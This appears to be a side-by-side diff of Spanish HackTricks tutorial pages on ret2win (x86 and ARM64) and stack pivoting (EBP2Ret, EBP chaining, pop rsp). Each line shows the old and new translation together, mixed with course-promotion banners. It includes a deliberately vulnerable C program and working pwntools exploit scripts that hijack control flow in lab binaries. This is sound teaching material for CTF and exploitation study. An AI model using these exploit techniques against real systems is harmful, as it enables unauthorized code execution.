* 32 bits, nx, nada más, sobrescribir parcialmente EIP (1 byte) para llamar a la función `win` * 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* El programa solo valida el último byte de un número para verificar el tamaño de la entrada, por lo tanto es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win. * El programa solo está validando el último byte de un número para verificar el tamaño de la entrada, por lo tanto, es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) * [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bits, relro, sin canario, nx, pie. Sobrescribir parcialmente para llamar a la función `win` (ret2win) * 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, proporciona una filtración de PIE, la función `win` en realidad son 2 funciones, por lo que el gadget ROP llama a 2 funciones * arm64, PIE, da una leak de PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one para llamar a una función `win` * ARM64, off-by-one para llamar a una función win
## Ejemplo ARM64 ## Ejemplo ARM64
@ -116,16 +117,17 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
[ret2win-arm64.md](ret2win-arm64.md) [ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2win - arm64 # Ret2win - arm64
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
Encuentra una introducción a arm64 en: Encuentra una introducción a arm64 en:
@ -20,7 +21,7 @@ Encuentra una introducción a arm64 en:
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) [arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %} {% endcontent-ref %}
## Code&#x20; ## Código&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -39,17 +40,17 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Compilar sin pie y sin canary: Compilar sin pie y canario:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
``` ```
## Encontrando el desplazamiento ## Encontrar el desplazamiento
### Opción de Patrón ### Opción de patrón
Este ejemplo fue creado utilizando [**GEF**](https://github.com/bata24/gef): Este ejemplo fue creado usando [**GEF**](https://github.com/bata24/gef):
Iniciar gdb con gef, crear un patrón y usarlo: Inicia gdb con gef, crea un patrón y úsalo:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
@ -57,7 +58,7 @@ run
``` ```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
En arm64 intentará regresar a la dirección en el registro x30 (que fue comprometida), podemos usar eso para encontrar el desplazamiento del patrón: arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patrón:
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
@ -91,11 +92,11 @@ Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Sin PIE ## No PIE
### Regular ### Regular
Obtener la dirección de la función **`win`**: Obtén la dirección de la función **`win`**:
```bash ```bash
objdump -d ret2win | grep win objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
@ -147,7 +148,7 @@ p.close()
``` ```
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Puedes encontrar otro ejemplo de desbordamiento por uno en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un desbordamiento por uno real en una vulnerabilidad ficticia. Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia.
## Con PIE ## Con PIE
@ -155,9 +156,9 @@ Puedes encontrar otro ejemplo de desbordamiento por uno en ARM64 en [https://8ks
Compila el binario **sin el argumento `-no-pie`** Compila el binario **sin el argumento `-no-pie`**
{% endhint %} {% endhint %}
### Desbordamiento por 2 ### Off-by-2
Sin una fuga, no conocemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible filtrar el desplazamiento a la función de ganar (**0x7d4**) en este caso y simplemente usar ese desplazamiento: Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el desplazamiento a la función ganadora (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
@ -179,16 +180,17 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Stack Pivoting - EBP2Ret - EBP chaining # Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones mediante el uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**. Esta técnica explota la capacidad de manipular el **Base Pointer (EBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**.
Como recordatorio, **`leave`** básicamente significa: Como recordatorio, **`leave`** básicamente significa:
``` ```
@ -30,8 +31,8 @@ Y como el **EBP está en la pila** antes del EIP, es posible controlarlo control
Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse. Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en la memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. Cuando `fvuln` retorna, el ESP se establece en esta ubicación manipulada, y la operación `pop` subsiguiente disminuye el ESP en 4 bytes, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\ Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
Nota cómo **necesitas conocer 2 direcciones**: Aquella a la que irá el ESP, donde necesitarás escribir la dirección a la que apunta el ESP. Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
#### Construcción del Exploit #### Construcción del Exploit
@ -41,34 +42,34 @@ Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará cód
* Una dirección válida de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget). * Una dirección válida de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86). * La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86).
* La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido del **shellcode** a ejecutar. * La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar.
* Alguna cadena [**ROP**](../rop-return-oriented-programing/) * Alguna cadena de [**ROP**](../rop-return-oriented-programing/).
Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y seguir controlando la ejecución. Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución.
#### Exploit de Desbordamiento por Uno #### Exploit Off-By-One
Existe una variante específica de esta técnica conocida como un "Exploit de Desbordamiento por Uno". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los tres primeros bytes con el EBP, lo que permite una manipulación similar con condiciones más restringidas.\ Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\
Por lo general, se modifica el byte 0x00 para saltar lo más lejos posible. Usualmente se modifica el byte 0x00 para saltar lo más lejos posible.
Además, es común usar un trineo de RET en la pila y colocar la verdadera cadena ROP al final para que sea más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final. Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
### **Cadenas de EBP** ### **Cadena EBP**
Por lo tanto, al colocar una dirección controlada en la entrada de `EBP` de la pila y una dirección a `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección controlada de `EBP` desde la pila**. Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**.
Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP lo siguiente: Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
* **`&(próximo EBP falso)`** -> Carga el nuevo EBP debido a `pop ebp` de la instrucción `leave` * **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`.
* **`system()`** -> Llamado por `ret` * **`system()`** -> Llamado por `ret`.
* **`&(leave;ret)`** -> Llamado después de que system termine, moverá ESP al EBP falso y comenzará de nuevo * **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo.
* **`&("/bin/sh")`**-> Parámetro para `system` * **`&("/bin/sh")`**-> Parámetro para `system`.
Básicamente de esta manera es posible encadenar varios EBPs falsos para controlar el flujo del programa. Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, aunque podría ser interesante en algunos casos particulares. Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página: Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Este es el payload final de la página:
```python ```python
from pwn import * from pwn import *
@ -106,8 +107,8 @@ print(p.recvline())
``` ```
## EBP podría no ser utilizado ## EBP podría no ser utilizado
Como se [**explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca llega a controlar ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\ Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca llega a controlar ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
Esto se debe a que el **prólogo y epílogo cambian** si el binario está optimizado. Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado.
* **No optimizado:** * **No optimizado:**
```bash ```bash
@ -133,9 +134,9 @@ ret # return
``` ```
## Otras formas de controlar RSP ## Otras formas de controlar RSP
### **Dispositivo `pop rsp`** ### **`pop rsp`** gadget
[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo utilizando esta técnica. Para este desafío fue necesario llamar a una función con 2 argumentos específicos, y había un **dispositivo `pop rsp`** y hay una **filtración desde la pila**: [**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -179,7 +180,7 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### Gadget xchg \<reg>, rsp ### xchg \<reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
@ -187,7 +188,7 @@ xchg <reg>, rsp
``` ```
### jmp esp ### jmp esp
Verifica la técnica ret2esp aquí: Consulta la técnica ret2esp aquí:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
@ -200,15 +201,15 @@ Verifica la técnica ret2esp aquí:
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bits, explotación off by one con una cadena rop que comienza con un ret sled * 64 bits, explotación off by one con una cadena rop que comienza con un ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bits, sin relro, canary, nx y pie. El programa proporciona una fuga para la pila o pie y un WWW de una qword. Primero obtén la fuga de la pila y usa el WWW para retroceder y obtener la fuga de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en el .bss y se termina llamándola pivotando con RBP. * 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
## ARM64 ## ARM64
En ARM64, los **prólogos y epílogos** de las funciones **no almacenan y recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**. En ARM64, el **prologo y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
Por lo tanto, por defecto, simplemente abusar del epílogo **no te permitirá controlar el registro SP** al sobrescribir algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**. Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
* prólogo * prologo
```armasm ```armasm
sub sp, sp, 16 sub sp, sp, 16
@ -224,7 +225,7 @@ ret
``` ```
{% hint style="danger" %} {% hint style="danger" %}
La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección desde la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él. La forma de realizar algo similar a stack pivoting en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él.
{% endhint %} {% endhint %}
También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**: También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
@ -233,16 +234,17 @@ También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
